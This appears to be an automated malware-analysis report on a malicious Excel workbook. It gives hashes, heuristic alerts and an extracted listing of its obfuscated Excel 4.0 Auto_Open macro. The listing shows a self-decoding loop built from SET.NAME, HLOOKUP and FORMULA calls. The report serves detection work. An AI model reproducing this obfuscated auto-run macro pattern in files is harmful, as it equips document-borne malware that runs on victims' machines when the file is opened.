Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 747e232dff0c85bf…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:55 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: a709ed0574767d605ecf61692ba9f230 SHA-1: b617fa913e3b4ea9c805c4e4f73daf714799e476 SHA-256: 747e232dff0c85bf1149434da2702cd1e3239009af210e8f67158aac1af43c1a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6558 bytes
SHA-256: 56f5f69fc4b98db46de14bd57536694560ae7c4b933ae2a9aeb0ea3aaf109676
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sRSfnNm
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A141 
' 0018     20 LABEL : Cell Value, String Constant - BCNOt len=0 
' 0018     24 LABEL : Cell Value, String Constant - bUTgPosCb len=0 
' 0018     24 LABEL : Cell Value, String Constant - CepdZRJES len=0 
' 0018     22 LABEL : Cell Value, String Constant - cOXIida len=0 
' 0018     26 LABEL : Cell Value, String Constant - eVxIAkRCzSC len=0 
' 0018     27 LABEL : Cell Value, String Constant - HnaEbJNaIqRI len=0 
' 0018     23 LABEL : Cell Value, String Constant - iUsfGBnC len=0 
' 0018     27 LABEL : Cell Value, String Constant - kWWKinFjNbKE len=0 
' 0018     24 LABEL : Cell Value, String Constant - LpBYJgsLi len=0 
' 0018     21 LABEL : Cell Value, String Constant - MjjwLn len=0 
' 0018     22 LABEL : Cell Value, String Constant - OqdbWtu len=0 
' 0018     25 LABEL : Cell Value, String Constant - QmDKkXFgLd len=0 
' 0018     27 LABEL : Cell Value, String Constant - QtQBggvFTeeK len=0 
' 0018     20 LABEL : Cell Value, String Constant - RXhvo len=0 
' 0018     23 LABEL : Cell Value, String Constant - sNaZgDGy len=0 
' 0018     22 LABEL : Cell Value, String Constant - VfRmWQH len=0 
' 0018     23 LABEL : Cell Value, String Constant - vRHGigoq len=0 
' 0018     27 LABEL : Cell Value, String Constant - wuqJFNOYwYRK len=0 
' 0018     25 LABEL : Cell Value, String Constant - XMopCWCgEh len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZUpTcv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sRSfnNm,A55,"SET.NAME("BCNOt",VALUE("0"))",""
'  sRSfnNm,A57,"SET.NAME("bUTgPosCb",BCNOt)",""
'  sRSfnNm,A62,"SET.NAME("XMopCWCgEh",BCNOt)",""
'  sRSfnNm,A67,"SET.NAME("QtQBggvFTeeK",COUNTA(QmDKkXFgLd))",""
'  sRSfnNm,A71,"SET.NAME("iUsfGBnC",COUNTA(RXhvo))",""
'  sRSfnNm,A74,[],""
'  sRSfnNm,A78,"SET.NAME("vRHGigoq","")",""
'  sRSfnNm,A80,"bUTgPosCb",""
'  sRSfnNm,A83,"SET.NAME("LpBYJgsLi",HLOOKUP("*",QmDKkXFgLd,bUTgPosCb,FALSE))",""
'  sRSfnNm,A85,"MjjwLn",""
'  sRSfnNm,A90,"SET.NAME("VfRmWQH",BCNOt)",""
'  sRSfnNm,A93,[],""
'  sRSfnNm,A95,"VfRmWQH",""
'  sRSfnNm,A99,"kWWKinFjNbKE",""
'  sRSfnNm,A103,"CepdZRJES",""
'  sRSfnNm,A106,"HnaEbJNaIqRI",""
'  sRSfnNm,A110,"SET.NAME("eVxIAkRCzSC",VALUE(HLOOKUP("*",RXhvo,HnaEbJNaIqRI,FALSE)))",""
'  sRSfnNm,A113,"OqdbWtu",""
'  sRSfnNm,A115,"vRHGigoq",""
'  sRSfnNm,A117,"XMopCWCgEh",""
'  sRSfnNm,A120,NEXT(),""
'  sRSfnNm,A124,"cOXIida",""
'  sRSfnNm,A127,"SET.NAME("f",INT(T(FORMULA(T(vRHGigoq)&"",""&T(cOXIida)))))",""
'  sRSfnNm,A131,"wuqJFNOYwYRK",""
'  sRSfnNm,A134,NEXT(),""
'  sRSfnNm,A136,RETURN(),""
'  sRSfnNm,A165,"SET.NAME("sNaZgDGy",A55)",""
'  sRSfnNm,A170,"QmDKkXFgLd",""
'  sRSfnNm,A173,"SET.NAME("RXhvo",R92C15)",""
'  sRSfnNm,A175,"SET.NAME("wuqJFNOYwYRK",182)",""
'  sRSfnNm,A179,"SET.NAME("ZUpTcv",1)",""
'  sRSfnNm,A181,sNaZgDGy(),""
'  sRSfnNm,A182,HALT(),""